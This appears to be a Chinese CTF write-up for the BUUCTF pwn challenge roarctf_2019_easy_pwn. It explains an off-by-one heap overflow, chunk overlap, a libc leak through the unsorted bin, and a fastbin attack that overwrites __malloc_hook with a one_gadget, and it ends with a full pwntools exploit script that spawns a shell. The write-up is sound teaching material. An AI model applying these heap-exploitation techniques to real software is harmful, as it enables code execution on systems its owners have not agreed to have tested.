zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——roarctf_2019_easy_pwn(详解)

    roarctf_2019_easy_pwn

    附件

    步骤:

    1. 例行检查,64位程序,保护全开
      在这里插入图片描述

    2. 试运行一下程序,看看大概的情况,经典的堆块的菜单
      在这里插入图片描述

    3. 64位ida载入,改了一下各个选项的函数名,方便看程序(按N)
      在这里插入图片描述

    4. add
      在这里插入图片描述
      edit
      在这里插入图片描述
      在这里插入图片描述
      free
      在这里插入图片描述show
      在这里插入图片描述

    这道题的思路是通过 offbyone来构造重叠chunk,达到任意地址分配chunk的效果,然后修改malloc_hook地址处的内容为one gadget地址

    首先利用Unsorted bin泄露libc的地址
    我们先申请4个chunk

    add(0x18)#idx0
    add(0x10)#idx1
    add(0x90)#idx2
    add(0x10)#idx3
    

    此时的堆布局是这样的
    在这里插入图片描述
    利用off-by-one通过修改chunk0将chunk1的size改为0xa1,34是(0x18+10),用来触发off-by-one漏洞的

    edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))
    

    在这里插入图片描述
    接下来编辑chunk2来让我们伪造的chunk1通过检查,堆的理想状态如下图,之前c0那行是没有数据的

    edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))
    

    在这里插入图片描述
    之后我们释放掉chunk1,重新申请,这样我们就让new chunk 1(上图黄色标记) 和chunk 2 有重叠部分了

    delete(1)
    add(0x90)
    

    但是重新申请的new chunk1 会覆写掉之前的chunk2的size
    在这里插入图片描述
    需要编辑一下chunk1去手动写入chunk2的size

    edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
    

    在这里插入图片描述
    现在chunk1和chunk2有重叠了,释放掉chunk2,将其free以后,会归入unsorted bin,而如果只有一个bin的话,其fd与bk都是main_arena + offset,尽管free以后内容会清0,但是search函数中的memcmp却可以通过使v1为x00来绕过,这样的话就会打印出bin的fb字段,即main_arena + offset,然后我们通过打印chunk1就能得到程序里的main_arena + offset地址,
    在这里插入图片描述
    动调可以知道offset=88,看一下给我们的libc里的main_arena的地址
    ida打开libc,malloc_trim(),如图,libc里的main_arena的地址是0x3c4b20
    在这里插入图片描述
    这样就能计算出程序的偏移量了
    libc_base=(程序里的main_arena+88)-0x3c4b78(0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同)

    delete(2)
    
    show(1)
    r.recvuntil("content: ")
    r.recv(0x20)
    libc_base=u64(r.recv(6).ljust(8,"x00"))-0x3c4b78
    

    show(1)往下的代码可以通过开启了context.log_level="debug"可以得到,在content之后有0x20个0,之后就是我们要接收的地址
    在这里插入图片描述

    我们重新申请一个chunk2

    add(0x80)
    

    在这里插入图片描述
    接下来在chunk1中,伪造一个跟我们刚刚申请的new chunk2一样的chunk

    edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
    

    在这里插入图片描述
    删去刚刚申请的new chunk2,看一下堆现在的布局,

    delete(2)
    

    可以看到我们已经在chunk1中伪造了一个chunk
    在这里插入图片描述
    接下是利用fastbin attack 任意地址写

    edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
    

    堆布局
    在这里插入图片描述
    先看一下链表
    在这里插入图片描述
    为什么是malloc_hook-0x23
    在这里插入图片描述
    可以看到,malloc_hook-0x23的size域正好是malloc前面的某个地址的0x7f,可以达到fastbin的身躯的检测,而由于这个堆块有0x70这么大,我们只需要在申请的地址偏移0xb的地方就可以修改到malloc_hook为onegadget

    接下来将malloc_hook修改为one_gadget即可,先找一下libc中的one_gadget地址
    在这里插入图片描述
    我一个一个试了一下都不可以,百度wp后得知需要用利用 ralloc_hook 改变栈环境达成 one_gadget 的条件,参考了这个师傅的修改方法

    one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
    edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4)) 
    

    设置好one_gadget的条件后,重新申请一个chunk就可以获取shell了

    完整exp

    from pwn import *
    
    #r=remote('node3.buuoj.cn',25080)
    r=process('roarctf_2019_easy_pwn')
    libc=ELF('./libc-2.23-64.so')
    context.log_level="debug"
    
    def add(size):
        r.recvuntil('choice: ')
        r.sendline('1')
        r.recvuntil('size:')
        r.sendline(str(size))
    
    def edit(index,size,data):
        r.recvuntil('choice: ')
        r.sendline('2')
        r.recvuntil('index:')
        r.sendline(str(index))
        r.recvuntil('size:')
        r.sendline(str(size))
        r.recvuntil('content:')
        r.send(data)
     
    def delete(index):
        r.recvuntil('choice: ')
        r.sendline('3')
        r.recvuntil('index:')
        r.sendline(str(index))
     
    def show(index):
        r.recvuntil('choice: ')
        r.sendline('4')
        r.recvuntil('index:')
        r.sendline(str(index))  
    
    malloc_hook=libc.symbols['__malloc_hook']
    realloc_hook=libc.symbols['realloc']
    
    print hex(malloc_hook)
    print hex(realloc_hook)
    
    #gdb.attach(r,"b calloc")
    
    add(0x18)#idx0
    add(0x10)#idx1
    add(0x90)#idx2
    add(0x10)#idx3
    
    #gdb.attach(r)
    
    edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))#off by one 
    #gdb.attach(r)
    
    edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check 
    #gdb.attach(r)
    
    delete(1)
    add(0x90)#idx1 chunk overlap
    
    edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
    
    delete(2)	
    show(1)
    
    r.recvuntil("content: ")
    r.recv(0x20)
    libc_base=u64(r.recv(6).ljust(8,"x00"))-0x3c4b78
    
    
    print "libc_base:"+hex(libc_base)
    
    
    add(0x80)
    
    edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
    
    delete(2)
    
    edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
    
    
    add(0x60)
    
    add(0x60)#idx4
    #gdb.attach(r)
    
    one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
    edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4)) 
    add(0x60)
    r.interactive()
    

    在这里插入图片描述

    关于堆利用的手法:https://blog.csdn.net/breeze_cat/article/details/103788698
    参考wp:https://www.cnblogs.com/luoleqi/p/12380696.html
    修改one_gadget的方法:https://blog.csdn.net/Maxmalloc/article/details/102535427

  • 相关阅读:
    actionscript3.0 的一些小技巧
    Flash 安全沙箱的意义
    明明连上了网,但是打不开网页
    关于电脑上可用内存太小的问题
    AS3 Starling 学习杂谈 (一) Quad类
    更新flash builder4,6 的AIR版本
    软件工程实践2017第二次作业
    软件工程实践2017第一次作业
    微信小程序开发指南合集 各类组件用法技巧
    微信小程序视频教程合集 附带源码、PPT下载
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273618.html
Copyright © 2011-2022 走看看